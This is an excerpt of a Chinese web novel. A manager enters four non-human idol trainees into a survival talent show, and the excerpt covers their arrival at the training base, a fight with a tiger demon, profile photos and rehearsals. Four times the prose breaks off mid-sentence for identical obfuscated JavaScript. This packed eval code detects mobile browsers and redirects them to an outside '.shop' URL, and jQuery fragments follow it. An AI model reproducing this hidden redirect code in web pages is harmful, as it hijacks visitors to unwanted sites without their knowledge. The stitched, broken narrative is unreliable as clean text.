打电话来的是A国最大的网媒平台——“荣誉”的业务组人员,他们正在为平□□家筹划的一档名叫“天星101”的偶像选秀综艺招募练习生,因为加尼亚以前在平台登过记,由此接到了电话——尽管据后来狼人同志回忆,他的登记其实纯属于一场把报名板块当成抽奖活动来操作了的意外,但这个插曲也无疑为他们团的走向带来了新的思路。 楚凝在电话里和策划团队沟通了很久,在将节目的基本流程和参赛要求都一一确认后挂断了电话。练习室内的四只人外都一脸奇疑地盯着她。 楚凝打量他们一会儿,眼神紧了紧,做了个跌掉大家下巴的决定: “这个101选秀,你们全员参加。” …… 出了练习室,楚凝立刻安排手下的团队停止对四个人外出道成团的宣传造势,把关键词“出道”改为了“勇闯101”。她给人外们分析了目前他们左右为难的处境,无论是出道暴死还是推迟出道全员冷藏都不是好结果,以他们现在的实力参加101系的偶像选秀是破局的唯一方法。 “可是这个选秀会有很多很厉害的人参加吧,”萱草的兔耳耷了耷,“我们怎么可能拼得过他们呢?” “你们现在的最主要的目的不是为了拼过那些训练有素的选手,”楚凝说,“你们现在既缺历练,又缺人气,参加这个比赛先把实力练起来,再逐步积累人气,这样就算走不了节目的花路,人气先起来一些的话,公司也能为你们兜底,那个时候再以新团队出道就是最合适的时机。” “那万一这个节目做不起来呢?”萤火敛起了漫不经心的表情,认真地问,“如果这个节目本身的收视率很低,那我们不是白忙活了吗?” 楚凝却说:“这个节目收视率不会低的。” “‘荣誉’是蓝星A国最大的视频平台,甚至在外星系之间也有相当的影响力。他们前几年做过的其他选秀企划都取得过现象级的成功,再加上现在是蓝星和银星混战后的“疗伤”时期,观众们对于娱乐节目的需求比政治节目大很多。你们去参加选秀,一定是利大于弊,甚至是百利无害,所以,这个节目你们不能缺席。” 萤火被她的话说服,不再有异议,萱草也默认她的决定,狼人一如之前把楚凝叫做长官的态度那样,完全没有反对的意思,现在只剩下弗纳尔沉默着不明态度。 “弗纳尔……”楚凝抱着手臂看他,心里认为他不会答应,准备晓之以理。但没想到少年这回只跟她对视一眼,就心虚地举白旗了。 “虽然很想马上就出道,但本殿下对自己的唱跳实力还是有自知之明的,”他羞红着脸颊,默默说,“我刚刚表现得确实不太行,还是在后面那个百人大训练营里多锻炼一下再说吧。” 楚凝对他忽然有点刮目相看了:“没想到你偶尔还挺通情达理的。” 少年一听,不满地反驳:“女人你居然质疑我的品德!” 楚凝:“不是质疑,是非常质疑。” 弗纳尔气呼呼哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748796|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一声,“我们伊丽莎白家族可是在银星A国仅次于执政党族和德古拉家的王室,本殿下作为王室血脉是绝不会在德行上给家族人丢脸的!” 楚凝:“但你唱歌跑调诶。” 弗纳尔:“……不要再提这个了混蛋!”他捂着自己被“万箭穿心”的胸口,默默地安慰自己,“父亲大人曾经说过‘失败是成功的阶梯’,所以无论以后遭受怎样的打击,我都不会退缩的。” 楚凝给他竖了个大拇指,弗纳尔挺胸抬头地问她选秀的报名表去哪里填,狼人说自己之前登过报名的网站,正准备把网址发出来,但楚凝却说用不了这么麻烦。 “平台之前和我的经纪团队有合作,我等会儿联系这个综艺的策划团队,直接让他们发内部的报名表过来,填这版报名表的选手不用经过外场的筛选,能直接入选节目。而且你们作为非人族的艺人,自带一定的话题度,我想策划那边也不会卡这个名额的。” “而且这次选秀策划那边说是允许艺人的经纪人陪同参加的,所以到时候我也会作为工作人员陪伴你们参加节目,只是不出镜而已,这样子我也可以更好地了解你们在节目里的言行,同时在不违规的范围内尽可能地帮助你们提升人气。” “总之——”楚凝伸出手背,严肃的脸上泛出一丝柔和的笑,“重新出发,一起努力吧。” 四只人外面面相觑了一会儿,而后怀着奋斗的决心,把手叠在了她的手背上。 安静的练习室响过一声不太默契的此起彼伏的“必胜”。 …… 内部报名的审核流程走得很快,四只人外比正常报名的时间晚,但进入练习生基地的时间却跟其他练习生是一致的。 本次选秀的基地由当地的一片入住率不高的别墅群改建而成,虽然距离市中心较远,离楚凝所在的Z社也不近,但整体看起来风景宜人,气派十足,在摄像镜头里显得很有氛围感。 到基地的那天楚凝开着私家车和坐公司车来的人外们约在别墅群大门处汇合。楚凝的车比公司的先到,于是就停在大门口等人。 没过多久,公司的车也到了。 萱草是最先下车的,远远就瞧见了楚凝。他跑到她面前,对着她甜甜地一顿夸。 “阿凝姐姐今天好美啊,感觉像明星诶,如果你也参加选秀的话出道绝对绝对是没有悬念的事!”他笑着赞美楚凝,颊边噙着一个很深的酒窝。 楚凝淡淡地笑了笑,摸了摸他的头。因为要和参加节目的其他艺人的经纪人们见面,所以她的确用心地打扮过。一身休闲式的西服衬衫,下搭及膝的深褐色A字皮裙,配一双同色的机车靴。顺直的长发才保养过,在阳光下像一匹黑金的绸缎。 “耳环很好看喔,”萤火走过来指了指她耳骨上的那一排珍珠耳钉,也难得嘴甜地说,“你可以去走秀了。” 楚凝经他一夸,心情更好起来,又和站在两个人身后的狼人闲聊了几句,但却始终没看见弗纳尔。她好奇地问身边的三只:“我们那位尊贵的世子殿下又跑哪里去了?我记得我给你们发信息的时候你们说你们四个是一起来的……他没把他那口棺材带过来睡觉吧?” 5. 初入训练基地 在参加节目之前楚凝给人外们放了三天假,叫他们准备自己的行李。时隔三日,几个人再次见面,彼此之间竟还有点说不出的诡谲的想念感,宛如一堆损友聚会。 放假的期间弗纳尔定了一张特快飞船票,回了一趟银星,和自己的家人小聚了一会儿,返回蓝星的时候被楚凝特别叮嘱别再把睡觉的家伙带回来,少年跟她理论许久,最后心不甘情不愿地答应了。现在没见到人,楚凝害怕他在哪里藏棺材。 加尼亚指了指不远处的一个路灯,楚凝顺着手指的方向看过去,终于看见了少年。 此时的弗纳尔正坐在路灯旁边的长椅上喝饮料,但看起来鬼鬼祟祟的,似乎刻意躲避着基地的摄像头。楚凝一脸迷惑地走了过去,见他喝得津津有味,很好奇他喝的是什么,但凑近了一闻,嗅到一股浓烈的腥甜气息。 血? 楚凝一惊,抓起他的手看他的手腕,见封印还在,就知道他吸的不是人血,提起的心放了下来。 “干嘛,你对这个饮料感兴趣?”弗纳尔举起铝罐,笑了笑,“父亲大人特地为我准备的上品鸡血,据说比人血还好喝喔。”弗纳尔从小到大没吸食过人族的血液,并不知道那是什么滋味。 楚凝见他目前唇齿血红,干咳两声,提醒他注意形象。弗纳尔这才捂了捂嘴,又捏着吸管小口地喝起来。 楚凝见他喝得这么沉迷,忽然想到一桩可以跟他做的交易,于是试探地开口:“你想不想喝更好喝的东西?” 弗纳尔浅粉的眼眸放出光来:“什么更好喝的东西?” 楚凝从身上的挎包中拿出一枚包好的糖丸,上面裹满了粉色的矿粉,“这是用来帮助你倒时差的药,吃着会有点苦,但如果你乖乖地吃了它,我明天就带一罐更好喝的饮料给你,当然,那并不是人血。”她说完以后,又向少年补充这药没有副作用。 弗纳尔拿过那颗糖丸,犹豫了一会儿,默默问:“真的有更好喝的东西?你该不会是想骗我吃这个药才故意编造谎言吧?” 楚凝:“我说的句句属实,而且这种饮料是蓝星特产。”她又将包里的整盒药丸递过去:“如果你可以每天按时吃药,我就带一箱那种饮料给你。” 弗纳尔警惕地接过药盒,半晌后道:“那你说‘银星人不骗银星人’。” 楚凝:“银星人不骗银星人。” 弗纳尔看了她一眼,把药盒收起来,又下定决心似的把手里的药丸吃了下去。楚凝瞧见他猛地捂嘴,脸色逐渐扭曲起来,随后,又听他发出了一声痛苦的长啸:“好好好好好苦哇——!”他转头望着楚凝,眼里噙着埋怨的泪水。 楚凝见他怨气满满呆毛竖立的样子,唇角不自觉地微微抽过,又立马云淡风轻地说:“好了,我们去集合吧。” 弗纳尔默默跟在她后面,反复小声地提醒:“你可不要食言喔……” 两个人和另外三人集合后,在一起闲聊起来。 此时距离节目正式开拍和基地正式启动还有一会儿的时间。楚凝给人外们讲解了一些节目拍摄的注意事项,又看着周围陆续聚集起来的其他参赛选手,将自己熟悉的或是稍有印象的艺人及团队指给他们做科普,又叮嘱他们务必要遵守基本的礼节。 附近的选手们大多是生人脸孔,有少数话题成员和已经出过道但因团队人气低迷又来参加选秀的,其中也不乏和弗纳尔他们一样来自其他星系和国家的人外成员。 楚凝正在和成员们猜测其他人外选手们的身份,忽然见萱草惊喊一声,快速躲到了她的身后。 “怎么了?”她望了望身后瑟瑟发抖的兔子,顺着他的视线望去,发现一只虎妖。那老虎身形高大,长相英俊,但神色张扬,看起来并不好惹。 “是妖脉的人……”萱草躲在楚凝身后,声音发着颤,“我们兔族和虎族,在银星的关系一直都不好……”他一边说着,一边偷偷望向虎妖,发现对方正好望向自己这边,和他对上了视线。他朝着这边走过来。 “楚、楚凝姐姐,救命……”少年的求救声怯怯地响在耳畔。 楚凝看见老虎越来越近的身影,面不改色心不跳,拍了拍萱草放在自己肩膀上的手,“放心,我在。” 老虎走过来,站在楚凝面前,并不看她。他那锐利的目光越过她的肩膀看向萱草,唇边泛起冷哼。 “臭兔子,原来你逃到蓝星来了,”他讥诮道,“作为献给妖神大人的祭品居然敢在祭典当日利用我父亲巡查的漏洞逃跑,真是活得不耐烦了。”在场的其他人听了他说的话,各自有些震惊,楚凝的心头也很诧异,只是面上并不表现出来。 老虎一说完就往楚凝身侧走,企图把萱草揪出来,但被人伸手拦住了。他转头一看,这才注意到楚凝,一对虎眼眯起来,警告对方别多管闲事。 “不是闲事,”楚凝拦着他,沉声说,“萱草现在是我手上的艺人,你没有欺凌他的资格。” 老虎睨了她身后的兔子一眼,又说:“这家伙是银星A国的罪民,害我父亲被降职,我必须教训他。” 楚凝却说:“你们以前的恩怨我不管,但这是在蓝星A国,我有必要保证萱草的人身安全。” 老虎被她的话惹怒,又走近一步,显示出强烈的威压。他冷笑着威胁: “你听着,我本来不想对一名陌生的人族动手,但是你完全不知好歹,那就不要怪我不讲礼了——”他一说完,伸手去抓楚凝的手腕,想凭借蛮力直接拉开楚凝,但楚凝反应极快,反逮住他的手臂,同时出腿钩他一只脚踝,借着巧劲把人绊倒在地。 老虎没想到对方出其不意,这下冷嘲转为明怒,大喝一声从地上跃起,磅礴的一拳朝楚凝砸去。 一旁的四个人外见状,惊呼几声“小心”,纷纷上前要去帮忙。 但没想到楚凝一个侧身躲过敌方的攻击,再次逮住他的臂膀,以迅雷不及掩耳的速度给了敌人一个猝不及防的过肩摔,干净利落地放倒了对方。 几个人全傻了眼,过了半秒,想起他们第一次见面楚凝手劈木桶的野蛮行径,不由得对面前这个女人的战斗力有了更加透彻的认知。 楚凝睨了眼倒在地上表情痛苦的老虎,蹲下身来,冷肃道:“在绝对的实力面前,我不需要知道好歹。” “以后别再找萱草的麻烦。”她警告之后,冲对方伸手,想拉他起来,但对方并不领情,把她的手拍开,艰难地起身。 “我记住你了,”他咬牙切齿地说,“可恶的人族,这事我们没完。”他将目光移向一旁心慌意乱的萱草,抬手冲他做了个喝倒彩的手势,而后回到了自己的团队。 萱草见他走远,赶紧跑到楚凝身前,检查她有没有受伤。 楚凝拉住他的手,摇头说:“一根寒毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748797|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没伤到。” 萱草这才放心,抬头瞄她一眼,小声说:“实在是太感谢你了。” 楚凝摇头扬了扬唇角,示意他不用道谢,“虽然是经纪人,但当保镖好像也没问题。”她说完又摸了摸少年的脑袋,“原来你是因为逃命来的蓝星啊,敢于反抗糟糕的命运,你很勇敢啊。”她又冲他笑笑。 萱草把头垂得低低的,耳根泛起红来。他正要在说些什么,却被身后的吸血鬼少年岔了话—— “好啦不要再站这儿等啦,”弗纳尔上前拉过楚凝的手腕,说话的语气酸溜溜的,“基地的大门都开了,女人快带我们进去报道!”他说完拉上楚凝就走,萤火和加尼亚跟在后头。萱草看着他们走远了,心里有点委屈,默默地追了上去。 练习生们进入到基地以后,会被节目组的人员指引着到别墅群中心的多功能活动大楼的大厅签到,再扫码在官网上下载与赛事有关的内部APP,建立记录这三个月练习生涯的电子档案,领取与整个选秀有关的电子指南。而练习生们的经纪人也会领取陪同参赛的各事项手册,在熟悉电子工牌和宿舍号等信息的同时也熟悉陪同阶段的各注意事项。 楚凝和四只人外签完到后,带着他们去找宿舍。节目组把别墅群的部分别墅进行了改装,把每幢别墅划分出四个主间,每个主间里安排四个床位,以四人寝的形式供给练习生居住。 四名人外里面,没有人被分到同一间宿舍,弗纳尔和加尼亚的宿舍里都还有其他的人外,萤火则是和其他公司的三名人族分配到了一起,而萱草比较特殊,一个人住在一个主间里,其余三个床位空空的没人住。 楚凝先帮四只人外简单地收拾了宿舍,又查找自己的宿舍号,发现和萱草在一栋楼里,就在他隔壁的房间。经纪人的房间是没有经过改动的,单独的一人一间,格局装修完全符合别墅的原本规制,这点羡煞了来参赛的练习生们。 “羡慕什么,”楚凝一边指挥四只人外帮她搬行李收拾房间,一边坦白,“我们经纪人在报名陪同艺人参赛的时候就交过别墅租金了,不然你们以为节目组会这么大方让我们住单人寝?” “而且不仅是租金,经纪人在陪同艺人参赛期间所产生的一切费用都由经纪人自行承担,”她屈起手指数算起来,“比如别墅水电、星际网络使用、拍摄设备租借、彩排入场券、公演入场券……这些可都不是节目组白白提供的。虽然这些费用大部分的公司都会为经纪人报销,但我们公司的话目前资金处于紧张期,再加上是我临时申请的出道计划变动,所以我们社是没法为我报销的。” 四只人外听完,敛起了羡慕,对楚凝多了一些感激。 萱草难为情地说:“阿凝姐姐,你又为我们破费了。” 楚凝本来想说这点小钱算不了什么,但脑海里突然闪过某种古老的“鱼头教育法”,于是拿自己吃鱼头对方吃鱼肉的口气说: “是的,我是倾家荡产过来陪你们的,只要你们能为公司争口气我就没遗憾了。” 四只人外里除了萤火,其余三只显然对人族的狡诈没那么多防备,轻易相信了她的话,默默在心里涌起一股奋斗的决心,同时更卖力地为她收拾起宿舍。 正在这个时候,大家的手机都响了起来,点开app一看,原来是策划组的工作人员发来消息,叫练习生们前往多功能活动大楼拍公式照。 6. 拍公式照 别墅区的多功能活动大楼被改成了专供练习生进行综艺拍摄的活动场地,除了公演的彩排和正式比赛,练习生绝大部分的活动都在这里举办。 楚凝陪着四只人外来到一楼的化妆间,帮他们领取了练习生的统一团服。这套团服延续了前几季选秀的一贯风格,是浅灰色的校园西服套装,搭配云霞紫的条纹领带。四个人很快换好了衣服,但兔子和狼人却不会打领带。 弗纳尔在一旁见他们将领带乱系一通,毫不客气对他们进行了一番嘲讽,又展示了自己打的标准温莎结,一脸的骄傲。 萱草见状,反驳他没有萤火的平结打得好看,加尼亚在一旁点头认可。萤火对两个人眨了眨眼,称赞他们有眼光。 弗纳尔被呛声,气鼓鼓地走到两人面前,朝他们做了个鬼脸:“领带都不会打,真是蠢蛋啦,本殿下可是在三岁的时候就学会这个技能了,哼哼……”他叉着腰杆,笑得很嚣张。 萱草和加尼亚互相看对方一眼,都觉得吸血鬼仿佛有点大病。正在这时,楚凝处理完手机那头的公务,朝他们走了过来。她见两个人没打领带,反应过来他们可能不会,便拿过他们手里的领带帮他们打。 她帮狼人打了一个百搭的四手结,昭显出率直热忱的特质,又帮萱草打了一个十字结,显露出几分独特的浪漫。 弗纳尔看在眼里,突然觉得自己被比下去,心里有点不服气,又有点梗啾,于是悄悄松了松自己的领结,凑到了楚凝面前:“本殿下领带散掉了,你帮我系一下。” “但是我温莎结系得不好。”楚凝坦诚说。 “那、那就换个别的,”弗纳尔面色有点局促,“和他们不一样的。” 楚凝想了想,抬手勾住他松散的领结,彻底散掉整个系结,把领带挂在自己手上抚捋平整,又重新挂上他的脖颈。 “靠近一点。”楚凝说。 弗纳尔咽了咽喉咙,往她面前走一小步,静静地看她动作。 楚凝捏起领带的一端,从左往右地缓绕了两圈,再将端头从下往上地穿过领带围成的大圈,小心翼翼地调整着位置。那双秀凛的眉眼紧紧注视着领结的变化,等调整到合适的状态她再将端头穿过扁小的圈隙,最后手往上收,打出了完美的领结。 “好了,”她拉了拉少年的西服衬衣的肩角,“这下总好看了。你觉得怎么样?” 弗纳尔回过神来,干咳两声,“还、还不错,这是什么结?” 楚凝说:“是亚伯特王子结。” 弗纳尔听到他说“王子”,脸上忽然显出一点赧然,“我不是王子,以世子的身份打这个领结,会僭越王室的礼制。” “这不是在银星,”楚凝说,“蓝星并不讲这个规矩。而且这也只是一个领结的名字而已,在蓝星上所有人都可以打,你当然也不例外。” 她这样说完,见少年仍旧难为情,知道他还是介意,于是松掉了那个领结,说给他另打一个其它的样式。 弗纳尔回想起她刚才说的话,由衷地呢喃:“所以这就是你们人族狡猾的地方啦,在两个星球都做了执政党,银星的人族数量少,就拿等级、契约和恩惠来约束我们;蓝星的人族数量多,便讲平等、谈自由,这么聪明,我们人外根本敌不过你们……” 他说完以后,见楚凝的脸上绷着一丝神秘的微笑,默默地回忆了自己说的话,忽然慌张起来,“我、我才没有夸你聪明呢,你不要误会我的意思!”他涨红了脸,找补道:“我是说……你很狡猾,很奸诈,是坏女人!” 楚凝不跟他争辩,给他打了一个简约漂亮的双环结,又从上往下地打量一番,点评道:“很适合你。系上去感觉比人族的王子好看。” 弗纳尔的脸色更加红润,带着一点娇俏的愤怒,“讨厌……我才不相信你说的……”他又小声地向楚凝道了谢,然后跟着狼人他们去隔壁的摄影室拍照。 楚凝不懂少年的害羞,不明白他为什么总喜欢莫名其妙地发脾气,但也不和他计较,准备跟着人外们去拍摄室。 拍摄室外的走廊排着队。参赛的选手们三三两两地聚集在一起闲聊,四个人外互相整理着着装的细节,讨论着一会儿拍照的注意事项,而楚凝默默观察着其他的练习生。 职业病使她不自觉地分析着这些练习生们身上明显的亮点与优势,抑或是可能具备的实力与定位,并将她揣测到的信息拿来和自己手里的四个艺人作优劣的比对,再把预估的结果添加在四个人外的资料上。但就在她填充着资料的时候,有一个熟悉的声音唤住了她。 “凝!” 楚凝抬头一看,发现来的是自己的老朋友羽彩,心里有点惊喜。 对方向她招手,快步地走过来,脸上洋溢着热情。她和楚凝差不多的年纪,带着一股飒爽的野性的美丽。 “凝,我们居然又见面了!”羽彩大手往楚凝肩上一拍,激动的心情掩盖不住。 “我们确实好久没见了,”楚凝好奇道,“你怎么会在这里?你该不会是从歌手转行做经纪人了吧?” “怎么可能,”羽彩哈哈大笑着,不禁调侃,“你以为谁都和你一样激流勇退么,我是来当评委的啦。” 楚凝眉毛一挑,“混这么好了?不过我确实听说你今年的演唱会档期已经排爆了,而且不止蓝星,其他星系的人民也抢你的票。” 羽彩哼哼两声,“那是当然,以姐的歌喉,分分钟将全星系的人拿下!” 还是那么神经大条。 楚凝对她嘚瑟的样子感到无奈,又问她除了当评委,来这里还有没有别的目的。“听说你弟弟不是也来参赛了吗?你跟他分别这么久的时间,应该很想见见他吧?” 羽彩听她这么一问,火速地点头,“你猜对了,我会在那么忙的时间里抽出空来接受这个节目的邀约,就是听上头的人说羽因要来参赛,所以才会过来的。”她叹一口气,默默嘀咕: “你也知道的,自从‘神堕’以后我也没办法回归家族了,我的小羽因现在到底长成啥样了我也不知道,虽然我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748798|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白他在天堂是不会受委屈的,但是我还是很想很想他……他小时候可是我一把屎一把尿拉扯大的啊,你懂那种感觉吗,就是那种……”她说起话来没完没了,楚凝赶紧打了住,让她顺着走廊排队的队伍去寻找她的弟弟。 羽彩却缺心眼地说:“但这么多年没见面,我其实有点忘记他脸长啥样了……” 楚凝无语了半晌,对她说:“我之前在网上搜过参赛选手们的资料,虽然有的搜不到照片,但是这些练习生里应该只有羽因一个是天使,你去找找背后长了白翅膀的艺人吧。” 羽彩听了,冲她竖一大拇指,风风火火地走了。 楚凝望着她离开的背影,为她的不靠谱叹了口气,又接着填充起手上的资料,同时关注起排队的情况来。 过了一刻钟,终于轮到四个人外去拍照,她收好手机跟上去,站在拍摄室的门口观看里头的情况。 拍摄室的光源非常明亮,布景也以纯白为主,四个人外作为同一批次一起进入室内等待。拍摄照片的时候,门口引起了不小的轰动。 楚凝听见聚在门口的练习生们纷纷夸赞着里头那四只的外貌,又顺着他们赞叹的话望向摄影室,也不免认可起他们的话来。在室内耀眼的灯芒下,他们每个人都在闪闪发光。 先拍完照片的萱草、萤火和加尼亚到大楼外参观基地去了,楚凝留下来等弗纳尔,顺便检查他们公式照的成片情况。 照片是实时更新的,练习生们这头刚拍完,那头便能在官网上刷到更新的图片。楚凝在官网上查看着照片,不得不承认,即使在一众花美男里,这四只的颜值也很能打。她反复地翻看照片,研究着人外们五官的优势,正看到弗纳尔,忽然被最后一个从摄影室出来的本尊唤住了。 弗纳尔见对方正看着他的照片,心情很好,微抬下巴地哼哼:“本殿下好看吗?” 楚凝面色无波地点头:“不错,很上镜。” 弗纳尔觉得她态度敷衍,又哼哼一声,默默道:“那你可不要看着本殿下的照片犯花痴喔。” “倒也不会,”楚凝抬头,对着他坦然地笑笑,“看着你的照片犯花痴是你以后的粉丝可能会做的事情,不是我这个经纪人该做的事。而我的使命,就是让你尽可能地拥有更多看着你照片犯花痴的人。” 她说完,准备带着对方去找在大楼外面的三人汇合,可弗纳尔却不服气地说:“那我要让你做其中的一个!”他拉住楚凝的衣袖,眼底微红起来,看上去有点激动。 楚凝反握住他的手腕,笑得很轻淡: “那就请世子殿下好好用实力来说服我吧。” 她说完,拉着他往外面集合。 等全部的练习生拍完照,时间已近正午,节目组的人组织大家去食堂用完餐,又通知他们明天上午会进入到节目的正式拍摄,而今天下午活动大楼所有的练习室都会解锁,练习生们可以自行使用。 用完午餐,楚凝便催促着四个人外到练习室做明天初评级比赛的排练。 7. 初评级排练 “初评级的比赛非常重要,能够在比赛中脱颖而出或是展现出独有魅力的练习生,会受到节目组的青睐,被给予更多的镜头和流量,这是练习生让全民制作人们了解自己的最有效途径……” 练习室里,楚凝给四个人外强调着101节目的赛制:“初评级后,按照选秀的前例你们还有第二次能力测评的机会,但两次测评间隔的时间非常短,逆袭会比较困难,所以我建议你们在第一次测评里就要全力以赴,争取拿到好的等级,这样就会在之后至关重要的主题曲表演舞台中站到更好的位置,为后面的公演比拼打下更好的人气基础。” “优势是滚雪球滚出来的,镜头曝光度越高的选手人气上涨的速度就会越快,排名就会越来越靠前,到后面就越容易出道……无论如何,你们一定不能轻视最开始的这场较量。” 四只人外之前对出道当偶像这件事没什么紧张感,尽管有一定的上进心,但态度却很松散。现在他们知道要和其他那么多的选手同台竞技,难免也有了危机感。 再加上楚凝之前喂给他们的“鱼头”起了点效果,目前他们整体的状态还是很不错的,也很配合楚凝的安排。 楚凝建议他们初评级的表演还是展现之前原定的出道曲,四人外都没有意见。 放假的那三天楚凝特意把《耀星》的曲子和舞蹈研究了好几遍,把曲子和舞蹈拆解成片段来逐段地分析,将其中的难点和要点整理成笔记发给成员,现在又点对点地辅导他们练习。 四个人外都很惊讶她对于这支舞曲的消化程度,楚凝见他们诧异的态度,不得已告诉他们自己曾经也当过预备役偶像的经历。 在场的四位更惊奇了,追问她当艺人的细节。楚凝懒得跟他们分享,只说那都是陈芝麻烂谷子的事情,叫他们不要在意。 成员们还是好奇,打算偷偷地在网上搜索相关的信息,却先被楚凝泼了盆冷水: “你们搜不到的,我那个时候用的艺名。” 人外们一听,八卦的激情被迫泯灭了。 “真是的,阿凝太狡猾了,”萤火耸了耸肩,看向楚凝的神情有些遗憾,“我还想看看我们大经纪人以前做艺人的时候是什么样呢~” “是啊,”一旁的狼人附和着,“我也很想看看长官以前的样子,做偶像的话应该比现在看起来会更爱笑一些呢。” 楚凝替他们调整好音响设备,把事情的重心拉回来,“我以前什么样不重要,重要的是你们现在怎么样。好了,准备好你们的定格,我们先完整地演练一遍,然后我给你们挨个纠正。” 话音刚落不久,舞曲便传响起来。四分钟后,最后一个定格完成,每个人都气喘吁吁,几乎做不到平静的表情管理。 楚凝看完了全程,评价他们的表现比之前要好一些。 “至少能看到你们的态度,”她严肃道,“不过除了萤火的舞蹈实力以外,你们其他人在各方各面的硬实力确实比较薄弱,当然萤火的vocal也完成得并不亮眼,具体的改进办法我等会儿告诉你。” 她说完,先将萱草、弗纳尔和加尼亚这三个身上比较明显的一些问题一一指出,又挨个地训练,陪他们练到傍晚。三个人外的能力在一下午不断地练习和纠正下总算又有了点进步,明显的纰漏已经没有了,接下来只剩精进。 楚凝跟他们一起去食堂吃了晚饭,回到练习室后解散了三个人外,又单独给萤火提了一些声乐上的建议。 萤火虽然平时表现得很慵散,但在练习上却并不懈怠,反而比别人都要努力。只是楚凝发现他并不喜欢和队友沟通,很多时候明明发现了其他人的问题却懒于指出,于是趁着两个人单独相处的时候把这点给他指了出来: “你的水平比他们都要好,以后请尽量多帮一帮他们。” 萤火微扬唇角,却说:“我何必去惹这些麻烦。如果后面因为热心而被埋怨,那不是自讨没趣么?” “这不是惹麻烦,”楚凝说,“你帮了他们,也是帮你自己。”她说到这里,似乎想到什么,给对方做了一个出道曲里的手势动作。她将两腕交叠,伸出食指仿作时钟里的“分针”,又将“分针”翻转一周,然后评价道: “比如这个翻腕的‘时针手’,一开始只有你做对了方向,我看见你留意到了这个问题,但你并没有告诉他们,而是自己改了方向,干脆选择陪他们一起错,后面被我纠正了过来。你看,当时他们的态度也很不错,没有人觉得我在多管闲事。” 萤火并不回答,过了一会儿,又缓缓说:“我不确定,我们这样的一盘来自不同地方,有着不同目的散沙,最后能不能凝聚在一起。我有必须要成为偶像的理由,所以我不想被拖累,也不想把时间浪费在辅导我那三个看起来好像不太聪明的队友上。” 楚凝听他这么讲,唇边泛起一丝无奈的笑来:“喂,这么评价自己的队友有点冒昧啊。再说了,你现在没有单飞的条件,眼高手低可不好喔。” “而且你又怎么知道他们没有必须要成为偶像的决心呢?我想他们的决心也未必比你的少。我知道你们几个才来蓝星不久,彼此之间没有感情基础,想做偶像的根本目的或许也完全不同,但既然已经凑到了一起,为什么不试着给出一些信任和耐心去磨合呢?” 萤火那副淡淡的、疏离的表情终于有了一丝松动。 “一个团体最重要的特质之一是团魂,”楚凝接着说,“你要相信团魂是可以养人的,与其追求一枝独秀,不如博个百花齐放,这样你作为偶像的生命周期也更容易延长。” 萤火沉默了一会儿,喃喃说: “或许……你讲的有点道理。” 楚凝勾了勾唇角,试探着说:“其实那个‘时钟手’除了方向的问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748799|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,萱草他们还有一个地方做错了,我相信你是知道的,明天你告诉他们怎么样?” 萤火想了想,把头点过,小声说:“原来你看出来了的啊。” 楚凝点了点头,狭长的凤目里闪过一点狡黠:“但我希望指正出那一点的是你。” 萤火瞄她一眼,漂亮的紫眸里闪过一点戏谑的亮光。“好,我听你的……”他走到楚凝身前,身后的爱心尾巴缓缓缠上她的手腕,“但要是明天我因为指正错误而遭到埋怨或排挤的话,姐姐你一定要负责,你可不能不管我……” 楚凝默默把他的尾巴捋下胳膊,轻笑了一声:“不会的,你知道他们三个根本不坏。” 萤火听她这么说,故作沮丧的模样,软声地抱怨:“那你的意思是我很坏嘛?”他瞥她一眼,身子转了过去,“你这么说我很受伤诶。”他的尾巴慢悠悠摇晃着。 楚凝摇头:“你不坏,你很聪明。”她刚说完,还想再嘱托点其他的的事情,手机的闹钟就响了起来。楚凝看了眼闹钟里填写的待办事项,眼见时候也不早了,和对方说了告别。 但萤火却突然喊住了她。 “还有什么事么?” 萤火看了她片刻,欲言又止地问:“几年前,蓝星和银星的那场战争,你是不是参加过……我是说,我觉得你很像一个人。” “哪场战争?”楚凝反问道,“之前蓝星和银星打过那么多场仗,我或多或少都上过战场,你说我像谁?” 